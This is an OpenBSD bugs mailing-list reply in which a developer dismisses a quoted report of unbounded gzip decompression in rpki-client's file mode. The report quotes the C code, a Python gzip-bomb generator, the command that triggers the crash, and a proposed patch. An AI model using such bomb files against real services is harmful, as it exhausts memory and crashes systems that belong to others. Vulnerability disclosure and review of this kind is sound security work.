Re: Unbounded decompression in inflate_buffer()
Claudio Jeker <[email protected]>
| Newsgroups | gmane.os.openbsd.bugs |
|---|---|
| Message-ID | <[email protected]> |
On Wed, Apr 08, 2026 at 10:57:09PM -0400, Daniel Anderson wrote:
> BUG REPORT: Unbounded decompression in inflate_buffer()
> ========================================================
>
> Component: rpki-client
> File: usr.sbin/rpki-client/encoding.c, inflate_buffer(), lines 84-129
> Version: Current (as of 2026-04-06)
> Severity: Medium (CVSS 5.5)
> Category: Missing output size limit — OOM crash via gzip bomb
> Privsep: proc_parser (when invoked via filemode -f)
>
> 1. DESCRIPTION
> --------------
>
> inflate_buffer() decompresses gzip data in a loop with no ceiling on the
> output size. The function grows its output buffer indefinitely until either
> decompression completes or the system runs out of memory.
>
> Buggy code in encoding.c, lines 84-129:
>
> unsigned char *
> inflate_buffer(uint8_t *inbuf, size_t inlen, size_t *outlen)
> {
> z_stream zs;
> uint8_t *buf = NULL, *nbuf;
> size_t buf_len;
> int zret;
>
> memset(&zs, 0, sizeof(zs));
>
> zs.avail_in = inlen;
> zs.next_in = inbuf;
>
> if (inflateInit2(&zs, MAX_WBITS + 16) != Z_OK)
> goto err;
>
> buf_len = inlen * 2;
> do {
> buf_len += GZIP_CHUNK_SIZE; /* +32KB each iteration */
> if ((nbuf = realloc(buf, buf_len)) == NULL)
> err(1, NULL); /* OOM = fatal process exit */
> buf = nbuf;
> zs.next_out = buf + zs.total_out;
> zs.avail_out = buf_len - zs.total_out;
>
> zret = inflate(&zs, Z_NO_FLUSH);
> if (zret != Z_OK && zret != Z_STREAM_END)
> goto err;
> } while (zs.avail_out == 0); /* no size limit check */
>
> ...
> }
>
> There is no check comparing zs.total_out (or buf_len) against
> MAX_FILE_SIZE (8,000,000, defined at extern.h line 1051) or any other
> upper bound.
MAX_FILE_SIZE is extra ignored in file-mode. file-mode is a debugging aid
and is not limited by this constraint. Especially compressed CCR files are
larger than MAX_FILE_SIZE.
This is a lot of text for nothing.
> Additionally, load_file() in the same file (line 51) intentionally
> skips the MAX_FILE_SIZE check when in filemode:
>
> if (st.st_size <= 0 || (!filemode && st.st_size > MAX_FILE_SIZE)) {
>
> This means both the compressed input AND the decompressed output are
> unbounded when running in filemode.
>
> REACHABILITY:
>
> inflate_buffer() is called from exactly one location:
>
> - filemode.c:464, inside proc_parser_file():
>
> if (rtype_from_file_extension(file) == RTYPE_GZ) {
> ...
> if ((full_buf = inflate_buffer(buf, len, &full_len)) == NULL) {
> warnx("%s: gzip decompression failed", file);
> goto out;
> }
> ...
> }
>
> This is reached only when rpki-client is invoked with the -f flag
> (manual file inspection mode). The daemon mode uses separate, bounded
> decompression paths:
> - http.c: http_inflate_data() / http_inflate_advance() (writes to disk,
> checks conn->totalsz against a 1MB limit)
> - rrdp_util.c:84: checks outlen against MAX_FILE_SIZE
>
> Therefore this bug is NOT exploitable in normal daemon operation. It
> affects only the -f diagnostic mode.
>
>
> 2. PROOF OF CONCEPT
> --------------------
>
> Create a gzip bomb — a small compressed file that expands to gigabytes:
>
> #!/usr/bin/env python3
> """Generate a gzip bomb that decompresses to ~1GB from ~1MB."""
> import gzip
> import os
>
> output_file = "poc-gzip-bomb.roa.gz"
>
> # 1GB of zero bytes compresses to approximately 1MB
> target_size = 1024 * 1024 * 1024 # 1 GB
> chunk = b'\x00' * (1024 * 1024) # 1 MB chunks of zeros
>
> with gzip.open(output_file, 'wb', compresslevel=9) as f:
> written = 0
> while written < target_size:
> f.write(chunk)
> written += len(chunk)
>
> compressed_size = os.path.getsize(output_file)
> print(f"Created {output_file}: {compressed_size} bytes compressed")
> print(f"Decompresses to: {target_size} bytes ({target_size // 1024 // 1024} MB)")
>
> Then run rpki-client in filemode:
>
> $ rpki-client -f poc-gzip-bomb.roa.gz
>
> Expected behavior:
> rpki-client should reject the file when the decompressed output
> exceeds MAX_FILE_SIZE (8MB).
>
> Actual behavior:
> inflate_buffer() allocates memory in 32KB increments until the system
> runs out of memory, at which point realloc() returns NULL and
> err(1, NULL) terminates the process with:
>
> rpki-client: (null)
>
> On a memory-constrained system, this may trigger the OOM killer and
> affect other processes.
>
> The included poc-ob002-gzip-bomb.py generates the test file:
>
> $ python3 poc-ob002-gzip-bomb.py
> OB-002 POC: Creating gzip bomb
> Target decompressed size: 100 MB
> MAX_FILE_SIZE limit: 8 MB
>
> Created: poc-gzip-bomb.mft.gz
> Compressed size: 101,959 bytes (99 KB)
> Decompressed size: 104,857,600 bytes (100 MB)
> Compression ratio: 1028:1
>
> To trigger the bug (on OpenBSD with rpki-client installed):
> rpki-client -f poc-gzip-bomb.mft.gz
>
> 99 KB on disk, 100 MB when decompressed — 12.5x MAX_FILE_SIZE.
> inflate_buffer() will allocate all 100 MB with no check.
>
>
> 3. SUGGESTED FIX
> -----------------
>
> Add a MAX_FILE_SIZE ceiling inside the decompression loop. This mirrors
> the existing pattern in rrdp_util.c (line 84) and the MAX_FILE_SIZE
> check in load_file() (line 51). The existing `err` label at line 125
> already calls inflateEnd() and frees the buffer before returning NULL,
> so cleanup is handled:
>
> --- a/usr.sbin/rpki-client/encoding.c
> +++ b/usr.sbin/rpki-client/encoding.c
> @@ -99,6 +99,10 @@ inflate_buffer(uint8_t *inbuf, size_t inlen, size_t *outlen)
>
> buf_len = inlen * 2;
> do {
> + if (zs.total_out > MAX_FILE_SIZE) {
> + warnx("inflate: output too large");
> + goto err;
> + }
> buf_len += GZIP_CHUNK_SIZE;
> if ((nbuf = realloc(buf, buf_len)) == NULL)
> err(1, NULL);
>
> The caller in filemode.c already handles the NULL return:
>
> if ((full_buf = inflate_buffer(buf, len, &full_len)) == NULL) {
> warnx("%s: gzip decompression failed", file);
> goto out;
> }
>
--
:wq Claudio